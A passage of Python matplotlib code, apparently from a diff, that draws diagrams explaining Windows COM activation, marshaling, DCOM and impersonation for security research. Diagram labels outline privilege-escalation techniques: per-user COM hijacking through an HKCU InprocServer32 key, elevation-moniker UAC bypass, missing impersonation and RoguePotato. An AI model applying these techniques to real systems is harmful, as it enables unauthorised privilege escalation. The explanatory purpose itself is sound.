white canvas; square-corner nodes fill #F6F3EE border #46505C lw=1.2;
|
||||||
|
hub/dark node fill #20242A text #EDEBE6; normal arrows #46505C lw=1.2 -|>;
|
||||||
|
attack arrows #8F2D24 lw=2.2; defense #256D5B dashed; research #9A6A1F;
|
||||||
|
text #20242A DejaVu Sans; code/paths/CLSIDs DejaVu Sans Mono;
|
||||||
|
trust boundary dashed #6B7280; step circles fill #8F2D24 white bold 9pt;
|
||||||
|
title top-left bold 13pt with thin #E5E0D8 rule; caption bottom-left 9pt #6B7280.
|
||||||
|
Coordinate system: 10 units per inch, origin bottom-left, equal aspect.
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
import matplotlib
|
||||||
|
matplotlib.use("Agg")
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from matplotlib.patches import Rectangle, Circle, Polygon, FancyArrowPatch
|
||||||
|
|
||||||
|
OUT = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
# ---- palette -------------------------------------------------------------
|
||||||
|
INK = "#20242A" # primary text / hub fill
|
||||||
|
SUB = "#6B7280" # secondary text / boundaries
|
||||||
|
FILL = "#F6F3EE" # node fill
|
||||||
|
EDGE = "#46505C" # node border / normal arrows
|
||||||
|
ATTACK = "#8F2D24" # attack path
|
||||||
|
DEF = "#256D5B" # defense / detection (teal)
|
||||||
|
RES = "#9A6A1F" # research / next-step (amber)
|
||||||
|
RULE = "#E5E0D8" # title rule / grid
|
||||||
|
HUBTXT = "#EDEBE6" # text on dark hub
|
||||||
|
|
||||||
|
SANS = "DejaVu Sans"
|
||||||
|
MONO = "DejaVu Sans Mono"
|
||||||
|
|
||||||
|
U = 10.0 # units per inch
|
||||||
|
|
||||||
|
DASH = (0, (5, 3)) # dashed arrows
|
||||||
|
BDASH = (0, (4, 3)) # boundary dashes
|
||||||
|
|
||||||
|
# arrow kinds -> (color, lw, linestyle, mutation_scale)
|
||||||
|
KINDS = {
|
||||||
|
"normal": (EDGE, 1.2, "solid", 12),
|
||||||
|
"attack": (ATTACK, 2.2, "solid", 16),
|
||||||
|
"defense": (DEF, 1.2, DASH, 12),
|
||||||
|
"research": (RES, 1.2, "solid", 13),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class B:
|
||||||
|
"""A box: center + size, with side-midpoint accessors."""
|
||||||
|
def __init__(self, cx, cy, w, h):
|
||||||
|
self.cx, self.cy, self.w, self.h = cx, cy, w, h
|
||||||
|
|
||||||
|
@property
|
||||||
|
def l(self): return self.cx - self.w / 2.0
|
||||||
|
@property
|
||||||
|
def r(self): return self.cx + self.w / 2.0
|
||||||
|
@property
|
||||||
|
def t(self): return self.cy + self.h / 2.0
|
||||||
|
@property
|
||||||
|
def b(self): return self.cy - self.h / 2.0
|
||||||
|
|
||||||
|
def side(self, s, f=0.5):
|
||||||
|
"""Midpoint (or fractionally-offset point) of a side.
|
||||||
|
f in [0,1] shifts along the side (0 = bottom/left end)."""
|
||||||
|
if s == "l":
|
||||||
|
return (self.l, self.b + f * self.h)
|
||||||
|
if s == "r":
|
||||||
|
return (self.r, self.b + f * self.h)
|
||||||
|
if s == "t":
|
||||||
|
return (self.l + f * self.w, self.t)
|
||||||
|
if s == "b":
|
||||||
|
return (self.l + f * self.w, self.b)
|
||||||
|
raise ValueError(s)
|
||||||
|
|
||||||
|
|
||||||
|
# ---- text metrics ---------------------------------------------------------
|
||||||
|
def msize(text, fs=9.5, mono=False, weight="normal", padx=2.1, pady=1.6):
|
||||||
|
"""Estimated box size (w,h) in units for the given text."""
|
||||||
|
lines = text.split("\n")
|
||||||
|
cw = fs * (0.0865 if mono else 0.0890)
|
||||||
|
if weight == "bold":
|
||||||
|
cw *= 1.06
|
||||||
|
w = max(len(l) for l in lines) * cw + 2 * padx
|
||||||
|
h = len(lines) * fs * 0.205 + 2 * pady
|
||||||
|
return w, h
|
||||||
|
|
||||||
|
|
||||||
|
# ---- canvas ---------------------------------------------------------------
|
||||||
|
def canvas(title, w=11.0, h=6.2, caption=None):
|
||||||
|
fig = plt.figure(figsize=(w, h))
|
||||||
|
fig.patch.set_facecolor("white")
|
||||||
|
ax = fig.add_axes([0, 0, 1, 1])
|
||||||
|
ax.set_xlim(0, w * U)
|
||||||
|
ax.set_ylim(0, h * U)
|
||||||
|
ax.set_aspect("equal")
|
||||||
|
ax.axis("off")
|
||||||
|
ax.set_facecolor("white")
|
||||||
|
ty = h * U - 2.7
|
||||||
|
ax.text(1.2, ty, title, fontsize=13, fontweight="bold", color=INK,
|
||||||
|
family=SANS, ha="left", va="center", zorder=5)
|
||||||
|
ax.plot([1.2, w * U - 1.2], [ty - 2.6, ty - 2.6], color=RULE, lw=1.0,
|
||||||
|
solid_capstyle="butt", zorder=1)
|
||||||
|
if caption:
|
||||||
|
ax.text(1.2, 1.8, caption, fontsize=9, color=SUB, family=SANS,
|
||||||
|
ha="left", va="center", zorder=5)
|
||||||
|
return fig, ax
|
||||||
|
|
||||||
|
|
||||||
|
# ---- primitives -----------------------------------------------------------
|
||||||
|
def box(ax, cx, cy, w, h, text=None, fs=9.5, mono=False, dark=False,
|
||||||
|
fill=None, edge=None, lw=1.2, ls="solid", tc=None, weight="normal",
|
||||||
|
zorder=2, linespacing=1.45):
|
||||||
|
"""Square-corner node. Returns B."""
|
||||||
|
fill = fill if fill is not None else (HUB_TXT_FILL(dark))
|
||||||
|
edge = edge if edge is not None else EDGE
|
||||||
|
tc = tc if tc is not None else (HUBTXT if dark else INK)
|
||||||
|
r = Rectangle((cx - w / 2.0, cy - h / 2.0), w, h, facecolor=fill,
|
||||||
|
edgecolor=edge, lw=lw, linestyle=ls, zorder=zorder,
|
||||||
|
joinstyle="miter")
|
||||||
|
ax.add_patch(r)
|
||||||
|
if text is not None:
|
||||||
|
ax.text(cx, cy, text, fontsize=fs, family=(MONO if mono else SANS),
|
||||||
|
color=tc, ha="center", va="center", weight=weight,
|
||||||
|
zorder=zorder + 1, linespacing=linespacing)
|
||||||
|
return B(cx, cy, w, h)
|
||||||
|
|
||||||
|
|
||||||
|
def HUB_TXT_FILL(dark):
|
||||||
|
return "#20242A" if dark else FILL
|
||||||
|
|
||||||
|
|
||||||
|
def mbox(ax, cx, cy, text, fs=9.5, mono=False, weight="normal", padx=2.1,
|
||||||
|
pady=1.6, **kw):
|
||||||
|
"""Auto-sized box fitted to text."""
|
||||||
|
w, h = msize(text, fs=fs, mono=mono, weight=weight, padx=padx, pady=pady)
|
||||||
|
return box(ax, cx, cy, w, h, text, fs=fs, mono=mono, weight=weight, **kw)
|
||||||
|
|
||||||
|
|
||||||
|
def label(ax, x, y, text, fs=9.5, mono=False, color=INK, ha="center",
|
||||||
|
va="center", weight="normal", zorder=4, linespacing=1.4):
|
||||||
|
ax.text(x, y, text, fontsize=fs, family=(MONO if mono else SANS),
|
||||||
|
color=color, ha=ha, va=va, weight=weight, zorder=zorder,
|
||||||
|
linespacing=linespacing)
|
||||||
|
|
||||||
|
|
||||||
|
def arrow(ax, p1, p2, kind="normal", label=None, t=0.5, lx=0.0, ly=0.0,
|
||||||
|
fs=9.0, mono=False, lc=None, ha="center", va="center",
|
||||||
|
connectionstyle=None, ms=None, zorder=3, lweight="normal"):
|
||||||
|
"""Straight (or connectionstyle-curved) arrow with -|> head."""
|
||||||
|
color, lw, ls, mscale = KINDS[kind]
|
||||||
|
a = FancyArrowPatch(p1, p2, arrowstyle="-|>",
|
||||||
|
mutation_scale=ms if ms else mscale, color=color,
|
||||||
|
lw=lw, linestyle=ls, shrinkA=0, shrinkB=0,
|
||||||
|
zorder=zorder, connectionstyle=connectionstyle,
|
||||||
|
joinstyle="miter", capstyle="butt")
|
||||||
|
ax.add_patch(a)
|
||||||
|
if label is not None:
|
||||||
|
mx = p1[0] + (p2[0] - p1[0]) * t + lx
|
||||||
|
my = p1[1] + (p2[1] - p1[1]) * t + ly
|
||||||
|
ax.text(mx, my, label, fontsize=fs, family=(MONO if mono else SANS),
|
||||||
|
color=lc if lc else INK, ha=ha, va=va, zorder=4,
|
||||||
|
weight=lweight, linespacing=1.35)
|
||||||
|
return a
|
||||||
|
|
||||||
|
|
||||||
|
def conn(ax, b1, s1, b2, s2, f1=0.5, f2=0.5, **kw):
|
||||||
|
"""Arrow between side points of two boxes."""
|
||||||
|
return arrow(ax, b1.side(s1, f1), b2.side(s2, f2), **kw)
|
||||||
|
|
||||||
|
|
||||||
|
def elbow(ax, pts, kind="normal", label=None, li=0, t=0.5, lx=0.0, ly=0.0,
|
||||||
|
fs=9.0, mono=False, lc=None, ha="center", va="center", ms=None,
|
||||||
|
zorder=3):
|
||||||
|
"""Right-angle polyline through pts with an arrowhead at the end."""
|
||||||
|
color, lw, ls, mscale = KINDS[kind]
|
||||||
|
for i in range(len(pts) - 2):
|
||||||
|
ax.plot([pts[i][0], pts[i + 1][0]], [pts[i][1], pts[i + 1][1]],
|
||||||
|
color=color, lw=lw, linestyle=ls, solid_capstyle="butt",
|
||||||
|
zorder=zorder)
|
||||||
|
arrow(ax, pts[-2], pts[-1], kind=kind, ms=ms if ms else mscale,
|
||||||
|
zorder=zorder)
|
||||||
|
if label is not None:
|
||||||
|
i = min(li, len(pts) - 2)
|
||||||
|
p1, p2 = pts[i], pts[i + 1]
|
||||||
|
mx = p1[0] + (p2[0] - p1[0]) * t + lx
|
||||||
|
my = p1[1] + (p2[1] - p1[1]) * t + ly
|
||||||
|
ax.text(mx, my, label, fontsize=fs, family=(MONO if mono else SANS),
|
||||||
|
color=lc if lc else INK, ha=ha, va=va, zorder=4,
|
||||||
|
linespacing=1.35)
|
||||||
|
|
||||||
|
|
||||||
|
def step_circle(ax, x, y, n, r=1.9):
|
||||||
|
"""Numbered step marker: filled #8F2D24 circle, white bold 9pt number."""
|
||||||
|
c = Circle((x, y), r, facecolor=ATTACK, edgecolor="white", lw=0.8,
|
||||||
|
zorder=6)
|
||||||
|
ax.add_patch(c)
|
||||||
|
ax.text(x, y - 0.12, str(n), fontsize=9, family=SANS, color="white",
|
||||||
|
weight="bold", ha="center", va="center", zorder=7)
|
||||||
|
|
||||||
|
|
||||||
|
def boundary(ax, x, y, w, h, text):
|
||||||
|
"""Dashed trust-boundary rectangle; label top-left inside, 9pt."""
|
||||||
|
r = Rectangle((x, y), w, h, facecolor="none", edgecolor=SUB, lw=1.0,
|
||||||
|
linestyle=BDASH, zorder=1, joinstyle="miter")
|
||||||
|
ax.add_patch(r)
|
||||||
|
ax.text(x + 1.2, y + h - 1.8, text, fontsize=9, family=SANS, color=SUB,
|
||||||
|
ha="left", va="center", zorder=4)
|
||||||
|
|
||||||
|
|
||||||
|
def seq_lifeline(ax, x, ytop, ybot):
|
||||||
|
"""Sequence-diagram lifeline: vertical dashed grey line."""
|
||||||
|
ax.plot([x, x], [ybot, ytop], color=SUB, lw=1.0, linestyle=BDASH,
|
||||||
|
zorder=1, solid_capstyle="butt")
|
||||||
|
|
||||||
|
|
||||||
|
def diamond(ax, cx, cy, w, h, text, fs=9.0, tc=INK, zorder=2):
|
||||||
|
p = Polygon([(cx - w / 2.0, cy), (cx, cy + h / 2.0), (cx + w / 2.0, cy),
|
||||||
|
(cx, cy - h / 2.0)], closed=True, facecolor=FILL,
|
||||||
|
edgecolor=EDGE, lw=1.2, zorder=zorder, joinstyle="miter")
|
||||||
|
ax.add_patch(p)
|
||||||
|
ax.text(cx, cy, text, fontsize=fs, family=SANS, color=tc, ha="center",
|
||||||
|
va="center", zorder=zorder + 1, linespacing=1.35)
|
||||||
|
return B(cx, cy, w, h)
|
||||||
|
|
||||||
|
|
||||||
|
def note(ax, cx, cy, text, kind="defense", fs=9.0, mono=False, dashed=True,
|
||||||
|
padx=2.0, pady=1.5):
|
||||||
|
"""Callout box: defense -> teal dashed; research -> amber; attack -> red."""
|
||||||
|
color = {"defense": DEF, "research": RES, "attack": ATTACK}[kind]
|
||||||
|
w, h = msize(text, fs=fs, mono=mono, padx=padx, pady=pady)
|
||||||
|
return box(ax, cx, cy, w, h, text, fs=fs, mono=mono, fill="white",
|
||||||
|
edge=color, lw=1.2, ls=(DASH if dashed else "solid"), tc=color)
|
||||||
|
|
||||||
|
|
||||||
|
def tick(ax, p1, p2, text, off=(0.0, 2.2), fs=8.5, t=0.5):
|
||||||
|
"""Thin red tick across an edge + red abuse label (d08)."""
|
||||||
|
import math
|
||||||
|
mx = p1[0] + (p2[0] - p1[0]) * t
|
||||||
|
my = p1[1] + (p2[1] - p1[1]) * t
|
||||||
|
dx, dy = p2[0] - p1[0], p2[1] - p1[1]
|
||||||
|
L = math.hypot(dx, dy) or 1.0
|
||||||
|
px, py = -dy / L * 2.1, dx / L * 2.1
|
||||||
|
ax.plot([mx - px, mx + px], [my - py, my + py], color=ATTACK, lw=2.2,
|
||||||
|
zorder=4, solid_capstyle="butt")
|
||||||
|
ax.text(mx + off[0], my + off[1], text, fontsize=fs, family=SANS,
|
||||||
|
color=ATTACK, ha="center", va="center", zorder=4, weight="bold")
|
||||||
|
|
||||||
|
|
||||||
|
def save(fig, name):
|
||||||
|
path = os.path.join(OUT, name)
|
||||||
|
fig.savefig(path, dpi=150, bbox_inches="tight", facecolor="white")
|
||||||
|
plt.close(fig)
|
||||||
|
return path
|
||||||
@@ -0,0 +1,244 @@
|
|||||||
|
"""d01-d08: Fundamentals."""
|
||||||
|
from diag import *
|
||||||
|
|
||||||
|
|
||||||
|
def d01():
|
||||||
|
fig, ax = canvas("COM activation: from CoCreateInstance to a live object",
|
||||||
|
w=13.0, h=7.6,
|
||||||
|
caption="in-proc: same process, no boundary crossed · out-of-proc: RPC channel + proxy/stub pair")
|
||||||
|
actors = [("Client process", 13, 18), ("combase / ole32", 38, 20),
|
||||||
|
("Registry", 61, 16), ("SCM / RPCSS", 86, 18),
|
||||||
|
("Server process", 113, 20)]
|
||||||
|
top = 66.0
|
||||||
|
for name, x, w in actors:
|
||||||
|
box(ax, x, top, w, 7, name, fs=9.5, weight="bold")
|
||||||
|
seq_lifeline(ax, x, top - 3.5, 8.0)
|
||||||
|
X = {"cli": 13, "com": 38, "reg": 61, "scm": 86, "srv": 113}
|
||||||
|
|
||||||
|
def msg(y, a, b, n, txt, mono=True, fs=8.5, ly=1.4):
|
||||||
|
arrow(ax, (X[a], y), (X[b], y), kind="normal")
|
||||||
|
label(ax, (X[a] + X[b]) / 2, y + ly, txt, fs=fs, mono=mono, va="bottom")
|
||||||
|
if n:
|
||||||
|
step_circle(ax, X[a] + (2.8 if X[b] > X[a] else -2.8), y, n)
|
||||||
|
|
||||||
|
msg(58.0, "cli", "com", 1, "CoCreateInstance(CLSID, IID)")
|
||||||
|
msg(52.5, "com", "reg", 2, "lookup HKCR\\CLSID\\{...}")
|
||||||
|
msg(47.0, "reg", "com", 3, "3a InprocServer32 (in-proc DLL)")
|
||||||
|
arrow(ax, (X["com"], 42.5), (X["cli"], 42.5), kind="normal")
|
||||||
|
label(ax, 25.5, 43.9, "LoadLibrary in client\n(no proxy)", fs=8.5, mono=True, va="bottom")
|
||||||
|
msg(37.5, "reg", "com", 3, "3b LocalServer32 (out-of-proc)")
|
||||||
|
msg(33.0, "com", "scm", None, "RPC activation request")
|
||||||
|
msg(28.0, "scm", "srv", 4, "start service / exe")
|
||||||
|
msg(23.5, "srv", "scm", 5, "CoRegisterClassObject")
|
||||||
|
msg(18.5, "scm", "com", 6, "IClassFactory::CreateInstance + proxy/stub")
|
||||||
|
arrow(ax, (X["com"], 14.0), (X["cli"], 14.0), kind="normal")
|
||||||
|
label(ax, 25.5, 15.4, "client holds\ninterface pointer", fs=8.5, va="bottom")
|
||||||
|
return save(fig, "d01-com-activation-flow.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d02():
|
||||||
|
fig, ax = canvas("In-proc vs out-of-proc: where the trust boundary sits",
|
||||||
|
w=11.0, h=6.0)
|
||||||
|
label(ax, 28.5, 52.5, "IN-PROC (DLL)", fs=10, weight="bold")
|
||||||
|
label(ax, 82.0, 52.5, "OUT-OF-PROC (EXE / service)", fs=10, weight="bold")
|
||||||
|
# left panel: single process boundary
|
||||||
|
boundary(ax, 5, 12, 47, 34, "PROCESS — client token · medium IL")
|
||||||
|
c = box(ax, 28.5, 39, 20, 8, "client code", fs=9.5)
|
||||||
|
d = box(ax, 28.5, 24, 20, 8, "COM DLL", fs=9.5)
|
||||||
|
arrow(ax, c.side("b"), d.side("t"), kind="normal",
|
||||||
|
label="direct call\n(function pointer)", lx=13.5, fs=8.5)
|
||||||
|
label(ax, 28.5, 15.5, "same token, same IL — no privilege boundary", fs=9)
|
||||||
|
# right panel: two process boundaries
|
||||||
|
boundary(ax, 52, 14, 23, 32, "CLIENT — medium IL")
|
||||||
|
cb = box(ax, 63.5, 29, 16, 8, "client\nprocess", fs=9.5)
|
||||||
|
boundary(ax, 87, 14, 22, 32, "SERVER —\nNT AUTHORITY\\SYSTEM")
|
||||||
|
sb = box(ax, 98, 29, 16, 8, "OOP\nserver", fs=9.5)
|
||||||
|
arrow(ax, cb.side("r"), sb.side("l"), kind="normal",
|
||||||
|
label="RPC/ALPC\nNDR-marshaled\ncall", ly=2.0, fs=8.5, va="center")
|
||||||
|
ax.plot([81, 81], [14, 22.5], color=SUB, lw=1.0, linestyle=BDASH, zorder=1)
|
||||||
|
ax.plot([81, 81], [38.5, 46], color=SUB, lw=1.0, linestyle=BDASH, zorder=1)
|
||||||
|
label(ax, 81, 47.5, "TRUST BOUNDARY", fs=8.5, color=SUB)
|
||||||
|
label(ax, 81, 9.5, "crossing a privilege boundary =\nthe attack surface for LPE",
|
||||||
|
fs=9, color=ATTACK, weight="bold")
|
||||||
|
return save(fig, "d02-inproc-vs-oop.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d03():
|
||||||
|
fig, ax = canvas("HKCR is a merged view — and HKCU wins", w=11.0, h=6.0)
|
||||||
|
hkcu = mbox(ax, 24, 47, "HKCU\\Software\\Classes", mono=True, fs=9.5,
|
||||||
|
padx=3.0, pady=2.4)
|
||||||
|
hklm = mbox(ax, 24, 33, "HKLM\\Software\\Classes", mono=True, fs=9.5,
|
||||||
|
padx=3.0, pady=2.4)
|
||||||
|
hkcr = box(ax, 79, 40, 40, 10, "HKCR view\nconsumed by activation", fs=9.5)
|
||||||
|
elbow(ax, [hkcu.side("r"), (52, 47), (52, 43), hkcr.side("l", 0.75)],
|
||||||
|
kind="normal")
|
||||||
|
elbow(ax, [hklm.side("r"), (52, 33), (52, 37), hkcr.side("l", 0.25)],
|
||||||
|
kind="normal")
|
||||||
|
label(ax, 50, 50.5, "HKCU wins", fs=8.5, color=ATTACK, weight="bold")
|
||||||
|
label(ax, 51, 29.5, "merge — on conflict HKCU shadows HKLM", fs=8.5, color=SUB)
|
||||||
|
atk = box(ax, 79, 12, 38, 8, "Attacker — medium IL, no admin", fs=9.5)
|
||||||
|
elbow(ax, [atk.side("t", 0.25), (69.5, 24), (6, 24), (6, 47), hkcu.side("l")],
|
||||||
|
kind="attack",
|
||||||
|
label="write HKCU\\Software\\Classes\\CLSID\\{target}\\InprocServer32",
|
||||||
|
li=1, t=0.62, ly=1.4, fs=8.5, mono=True, va="bottom")
|
||||||
|
label(ax, 40, 21.3, "per-user hijack: no admin needed", fs=9, color=ATTACK,
|
||||||
|
weight="bold")
|
||||||
|
return save(fig, "d03-hkcr-merge.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d04():
|
||||||
|
fig, ax = canvas("Marshaling: how a method call crosses processes",
|
||||||
|
w=13.0, h=5.6)
|
||||||
|
cp = box(ax, 18, 42, 22, 9, "Client: proxy", fs=9.5)
|
||||||
|
ch = box(ax, 56, 42, 28, 9, "COM channel / RPC runtime", fs=9.5)
|
||||||
|
st = box(ax, 94, 42, 22, 9, "Server: stub", fs=9.5)
|
||||||
|
conn(ax, cp, "r", ch, "l", label="NDR-marshaled call (IPID)", ly=4.7,
|
||||||
|
fs=8.5, mono=True, va="bottom")
|
||||||
|
conn(ax, ch, "r", st, "l", label="dispatch + unmarshal", ly=4.7, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
# OBJREF layout box (under)
|
||||||
|
ob = box(ax, 38, 20, 64, 16)
|
||||||
|
label(ax, 38, 24.5, "OBJREF layout", fs=9.5, weight="bold")
|
||||||
|
label(ax, 38, 21.0,
|
||||||
|
"OXID (apartment/exporter) · OID (object) · IPID (interface)",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
label(ax, 38, 17.2,
|
||||||
|
"resolution: IPID → interface on the object · OXID → IObjectExporter",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
label(ax, 38, 14.2, "the proxy holds the OBJREF; the stub holds the real object",
|
||||||
|
fs=8.5, color=SUB)
|
||||||
|
# side table (right)
|
||||||
|
label(ax, 100, 31.5, "marshaling flavors", fs=9.5, weight="bold")
|
||||||
|
mbox(ax, 100, 26.0, "standard = MIDL/NDR proxy-stub DLL", mono=True,
|
||||||
|
fs=8.5, padx=2.6)
|
||||||
|
mbox(ax, 100, 20.0, "automation = type library (oleaut32)", mono=True,
|
||||||
|
fs=8.5, padx=2.6)
|
||||||
|
mbox(ax, 100, 13.0, "custom = IMarshal — audit this", mono=True,
|
||||||
|
fs=8.5, padx=2.6, edge=ATTACK, tc=ATTACK)
|
||||||
|
label(ax, 100, 8.2, "hand-rolled deserialization — audit this", fs=8.5,
|
||||||
|
color=ATTACK)
|
||||||
|
return save(fig, "d04-marshaling-objref.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d05():
|
||||||
|
fig, ax = canvas("DCOM on the wire", w=13.0, h=5.2)
|
||||||
|
boundary(ax, 4, 12, 30, 28, "HOST A")
|
||||||
|
cli = box(ax, 19, 26, 20, 9, "client", fs=9.5)
|
||||||
|
boundary(ax, 58, 8, 68, 37, "HOST B")
|
||||||
|
rpc = box(ax, 72, 26, 18, 8, "RPCSS", fs=9.5, weight="bold")
|
||||||
|
oxi = box(ax, 96, 26, 20, 8, "OXID resolver", fs=9.5)
|
||||||
|
srv = box(ax, 117, 26, 16, 8, "Server object", fs=8.5)
|
||||||
|
arrow(ax, cli.side("r"), rpc.side("l"), kind="normal",
|
||||||
|
label="TCP 135\nIRemoteSCMActivator::\nRemoteCreateInstance",
|
||||||
|
ly=1.6, fs=8.5, mono=True, va="bottom")
|
||||||
|
step_circle(ax, 32.5, 26, 1)
|
||||||
|
arrow(ax, rpc.side("r"), oxi.side("l"), kind="normal",
|
||||||
|
label="IObjectExporter::\nResolveOxid2", ly=5.6, fs=8.5, mono=True,
|
||||||
|
va="bottom")
|
||||||
|
step_circle(ax, 83.5, 26, 2)
|
||||||
|
elbow(ax, [(19, 21.5), (19, 5.5), (117, 5.5), (117, 22)], kind="normal",
|
||||||
|
label="method calls — IRemoteUnknown::RemQueryInterface etc. · dynamic high ports",
|
||||||
|
li=1, ly=1.3, fs=8.5, mono=True, va="bottom")
|
||||||
|
step_circle(ax, 21.5, 5.5, 3)
|
||||||
|
n = note(ax, 106, 39.8, "RoguePotato hijacks step 2\nwith a fake OXID resolver",
|
||||||
|
kind="research", fs=8.5)
|
||||||
|
ax.plot([97, 86.5], [35.6, 28.5], color=RES, lw=1.0, linestyle=DASH,
|
||||||
|
zorder=2)
|
||||||
|
return save(fig, "d05-dcom-wire.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d06():
|
||||||
|
fig, ax = canvas("The impersonation contract", w=12.0, h=6.5)
|
||||||
|
cli = box(ax, 14, 44, 18, 9, "Client", fs=10, weight="bold")
|
||||||
|
srv = box(ax, 58, 44, 18, 9, "Server", fs=10, weight="bold")
|
||||||
|
arrow(ax, cli.side("r"), srv.side("l"), kind="normal",
|
||||||
|
label="client sets\nCoSetProxyBlanket(...,\nRPC_C_IMP_LEVEL_*) · call",
|
||||||
|
ly=2.0, fs=8.5, mono=True, va="bottom")
|
||||||
|
dia = diamond(ax, 58, 26, 34, 16, "impersonation level\n>= IMPERSONATE ?",
|
||||||
|
fs=9)
|
||||||
|
arrow(ax, srv.side("b"), dia.side("t"), kind="normal",
|
||||||
|
label="CoQueryClientBlanket()", lx=20.5, fs=8.5, mono=True)
|
||||||
|
ok = box(ax, 97, 26, 32, 10, "CoImpersonateClient\nact with CLIENT token",
|
||||||
|
fs=9)
|
||||||
|
arrow(ax, dia.side("r"), ok.side("l"), kind="normal", label="yes",
|
||||||
|
ly=1.3, va="bottom")
|
||||||
|
label(ax, 97, 19.2, "safe: access checks see the caller", fs=8.5, color=SUB)
|
||||||
|
bad = box(ax, 58, 8, 52, 9,
|
||||||
|
"server acts with its own SYSTEM token\nbug class #1: missing/late impersonation",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, dia.side("b"), bad.side("t"), kind="attack",
|
||||||
|
label="no / missing check", lx=15.5, fs=8.5, lc=ATTACK)
|
||||||
|
return save(fig, "d06-impersonation-contract.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d07():
|
||||||
|
fig, ax = canvas("Elevation moniker & auto-elevation", w=12.5, h=6.0)
|
||||||
|
med = box(ax, 16, 42, 22, 9, "Medium-IL process", fs=9.5)
|
||||||
|
app = box(ax, 56, 42, 22, 9, "APPINFO service", fs=9.5, weight="bold")
|
||||||
|
arrow(ax, med.side("r"), app.side("l"), kind="normal",
|
||||||
|
label="CoGetObject(\n\"Elevation:Administrator!new:{CLSID}\")",
|
||||||
|
ly=4.8, fs=8.5, mono=True, va="bottom")
|
||||||
|
dia = diamond(ax, 86, 27, 40, 19,
|
||||||
|
"class auto-approved?\nautoElevate manifest + signed + secure dir\nor HKCR\\CLSID\\{...}\\Elevation\\Enabled",
|
||||||
|
fs=8.5)
|
||||||
|
elbow(ax, [app.side("r"), (76, 42), (76, 36.5), dia.side("t", 0.28)],
|
||||||
|
kind="normal", label="create\nelevated object", li=0, t=0.6,
|
||||||
|
lx=8.5, fs=8.5)
|
||||||
|
good = box(ax, 116, 27, 16, 8, "consent UI\n(prompt)", fs=9)
|
||||||
|
arrow(ax, dia.side("r"), good.side("l"), kind="normal", label="no",
|
||||||
|
ly=1.3, va="bottom")
|
||||||
|
bad = box(ax, 86, 8, 46, 9,
|
||||||
|
"no prompt — silent high-IL object\nUAC bypass primitive",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, dia.side("b"), bad.side("t"), kind="attack",
|
||||||
|
label="yes — auto-approved", lx=17.5, fs=8.5, lc=ATTACK)
|
||||||
|
return save(fig, "d07-elevation-moniker.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d08():
|
||||||
|
fig, ax = canvas("COM attack-surface map", w=12.5, h=7.0,
|
||||||
|
caption="every edge is an abuse primitive — red ticks mark the technique class")
|
||||||
|
hub = box(ax, 62, 34, 24, 10, "combase / ole32", fs=10, weight="bold",
|
||||||
|
dark=True)
|
||||||
|
reg = box(ax, 22, 55, 26, 9, "Registry HKCR", fs=9.5)
|
||||||
|
scm = box(ax, 102, 55, 24, 9, "SCM / RPCSS", fs=9.5)
|
||||||
|
rot = box(ax, 16, 34, 24, 9, "ROT + monikers", fs=9.5)
|
||||||
|
tlb = box(ax, 108, 34, 30, 9, "Type libraries\n+ proxy/stub DLLs", fs=9)
|
||||||
|
dll = box(ax, 18, 11, 20, 8, "In-proc DLL", fs=9)
|
||||||
|
sur = box(ax, 47, 11, 22, 8, "dllhost surrogate", fs=9)
|
||||||
|
svc = box(ax, 78, 11, 24, 8, "Service-hosted EXE", fs=9)
|
||||||
|
dcm = box(ax, 110, 11, 22, 8, "Remote DCOM", fs=9)
|
||||||
|
|
||||||
|
a1 = (hub.side("t", 0.22), reg.side("b", 0.55))
|
||||||
|
arrow(ax, a1[0], a1[1], kind="normal", label="CLSID resolution (HKCR)",
|
||||||
|
t=0.45, lx=1.4, ly=4.0, fs=8.5, mono=True)
|
||||||
|
tick(ax, a1[0], a1[1], "hijack", off=(-1.5, -4.0), t=0.6)
|
||||||
|
a2 = (hub.side("t", 0.78), scm.side("b", 0.45))
|
||||||
|
arrow(ax, a2[0], a2[1], kind="normal", label="activation RPC", t=0.45,
|
||||||
|
lx=-1.2, ly=3.3, fs=8.5, mono=True)
|
||||||
|
tick(ax, a2[0], a2[1], "impersonate", off=(3.0, -3.5), t=0.6)
|
||||||
|
a3 = (hub.side("l"), rot.side("r"))
|
||||||
|
arrow(ax, a3[0], a3[1], kind="normal", label="CoGetObject · ROT query",
|
||||||
|
ly=1.4, fs=8.5, mono=True, va="bottom")
|
||||||
|
tick(ax, a3[0], a3[1], "elevate", off=(0, -3.4), t=0.5)
|
||||||
|
a4 = (hub.side("r"), tlb.side("l"))
|
||||||
|
arrow(ax, a4[0], a4[1], kind="normal", label="marshaling metadata",
|
||||||
|
ly=1.4, fs=8.5, mono=True, va="bottom")
|
||||||
|
tick(ax, a4[0], a4[1], "marshal", off=(0, -3.4), t=0.5)
|
||||||
|
a5 = (hub.side("b", 0.12), dll.side("t", 0.8))
|
||||||
|
arrow(ax, a5[0], a5[1], kind="normal", label="LoadLibrary", t=0.5,
|
||||||
|
lx=-1.3, ly=2.7, fs=8.5, mono=True)
|
||||||
|
a6 = (hub.side("b", 0.38), sur.side("t", 0.6))
|
||||||
|
arrow(ax, a6[0], a6[1], kind="normal", label="dllhost /Processid", t=0.55,
|
||||||
|
lx=-2.5, ly=1.8, fs=8.5, mono=True)
|
||||||
|
a7 = (hub.side("b", 0.55), svc.side("t", 0.5))
|
||||||
|
arrow(ax, a7[0], a7[1], kind="normal", label="exe / service start", t=0.5,
|
||||||
|
lx=1.7, ly=1.8, fs=8.5, mono=True)
|
||||||
|
a8 = (hub.side("b", 0.90), dcm.side("t", 0.2))
|
||||||
|
